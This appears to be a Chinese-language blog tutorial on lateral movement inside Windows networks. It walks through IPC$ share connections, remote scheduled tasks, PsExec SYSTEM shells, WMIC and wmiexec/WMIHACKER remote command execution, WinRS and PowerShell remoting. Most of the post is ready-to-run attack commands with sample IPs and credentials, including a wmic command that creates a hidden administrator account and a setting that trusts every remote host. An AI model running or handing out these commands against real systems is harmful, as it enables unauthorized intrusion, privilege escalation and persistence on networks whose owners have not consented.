• 内网常见横向移动姿势


    IPC利用

    概念:共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
    作用:利用IPC$连接者甚至可以与目标主机建立一个连接,利用这个连接,连接者可以得到目标主机上的目录结构、用户列表等信息。
    基本利用条件:开启139与445端口,管理员开启的默认共享
    
    net use \192.168.5.133ipc$ "Aa123456" /user:administrator
    net use 可查看到远程连接情况
    

    常见连接失败原因:你的系统不是NT及以上系统、用户名密码错误、目标没有开启ipc$默认共享、不能成功连接目标139与445端口、命令输入错误
    常见错误号:
    错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
    错误号51,Windows 无法找到网络路径 : 网络有问题;
    错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
    错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$; 
    错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。
    错误号1326,未知的用户名或错误密码 : 原因很明显了;
    错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
    错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。
    
    获取详细信息
    dir \192.168.5.133c$
    


    列出进程
    tasklist /S 192.168.5.133 /U administrator /P Aa123456
    

    使用at命令在远程机器上创建计划任务
    查看系统目前时间
    net time \192.168.5.133
    

    复制文件到系统中
    copy 1.bat \192.168.5.133C$
    

    使用at命令在系统指定时间允许程序
    at \192.168.5.133 17:05 C:1.bat
    

    到时间后可见进程内启动
    

    定时任务是需要人工清理的 不会自动删除
    at \192.168.5.133 ? /delete
    

    执行任务并输出至txt 随后再读取
    at \192.168.5.133 17:12 cmd.exe /c "ipconfig  >C:/2.txt"
    type \192.168.5.133C$2.txt
    

    schtasks命令同理
    远程主机创建yang名称的任务开机启动c盘下的1.bat启动权限为system
    

    立即运行任务
    schtasks /run /s 192.168.5.133 /tn "yang"
    


    删除计划任务

    PSEXEC利用

    可以在远程计算机上执行命令,也可以将管理员权限提升到system权限以运行指定程序。基本原理是通过在远程目标机器上创建一个psexec服务,在本地磁盘生成一个名为psexesvc的二进制文件,然后通过psexec服务运行命令,运行结束后删除服务
    
    需要获取目标操作系统的交互式shell,在建立了ipc$的情况下,如下,可以获取system权限
    Psexec.exe -accepteula \192.168.5.131 -s cmd.exe 不加-s会返回一个administrator权限
    

    若没有建立ipc$连接,可以指定账户密码进行连接
    Psexec.exe \192.168.5.131 -u administrator -p Aa123456 cmd.exe
    

    也可以直接进行命令的回显
    

    msf上线如下
    

    WMI利用

    利用条件:
    远程服务器启动Windows Management Instrumentation服务,开放TCP135端口,防火墙放开对此端口的流量(默认放开)

    远程服务器的本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”

    利用方式:
    执行命令wmic /node:ip /user:用户名 /password:密码 process call create "calc"
    这里也可以进行bat脚本执行 process call create c:programdata	est.bat
    

    执行情况如下:
    

    列出进程:
    wmic /node:ip /user:用户名 /password:密码 process list brief
    

    执行单条命令:
    wmic  /node:ip /user:用户名 /password:密码 process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add"
    

    wmiexec.vbs利用

    wmiexec.vbs 是为了解决 wmic 无法回显命令而开发的一个工具,原理就是把数据先存到一个临时文件中,在每次读取完执行结果后就自动删除。可以用来回显执行命令的结果和获取半交互式的shell
    
    cscript wmiexec.vbs 查看使用介绍
    

    cscript wmiexec.vbs /cmd 192.168.3.142 administrator Aa123456 whoami 执行命令:
    

    cscript wmiexec.vbs /shell 192.168.3.142 administrator Aa123456 获得交互式shell:
    

    WMIHACKER利用:

    cscript WMIHACKER.vbs 查看使用介绍
    

    cscript WMIHACKER.vbs /cmd 192.168.3.142 administrator Aa123456 whoami 1  执行命令 
    

    cscript WMIHACKER.vbs /shell 192.168.3.142 administrator Aa123456  获得交互式shell
    

    WinRS利用

    利用条件
    1、在Windows Vista上必须手动启动WinRM服务,但从Windows Server 2008开始,WinRM服务自动启动。
    2、默认情况下,虽然WinRM服务后台已经运行,但并不开启监听模式,因此无法接受和发送数据。
    3、使用WinRM提供的quickconfig对WinRM进行配置后,Windows将开启监听并打开HTTP及HTTPS监听端口,同时Windows防火墙生成这两个端口的例外。
    
    winrm quickconfig对WinRM进行首次(默认)配置:
    

    winrm enumerate winrm/config/listener  查看WinRM服务当前的配置情况:
    

    winrm set winrm/config/client @{TrustedHosts="*"}手动配置当前服务器允许被任意主机连接:
    

    winrs -r:http://192.168.3.142:5985 -u:administrator -p:Aa123456 ipconfig 连接即可
    

    POWERSHELL利用

    Enable-PSRemoting –force 开启PowerShell的远程连接:
    

    另外一台机器直接连接即可:
    enter-pssession -computername 192.168.3.142 -Credential administrator 需要手动再次输入密码:
    


  • 相关阅读:
    js 为表格增加行 动态
    百度测试新搜索结果页面 改进灵感来自谷歌?
    多线程程序中使用fork的问题
    C++ struct和class的区别
    J2SE 5 HotSpot JVM 解释
    并行优化、xvout
    C++基础:纯虚函数和抽象类
    C++的四种cast
    logcat过滤输出
    C++虚函数和纯虚函数(2)
  • 原文地址:https://www.cnblogs.com/Yang34/p/13469668.html
Copyright © 2020-2023  润新知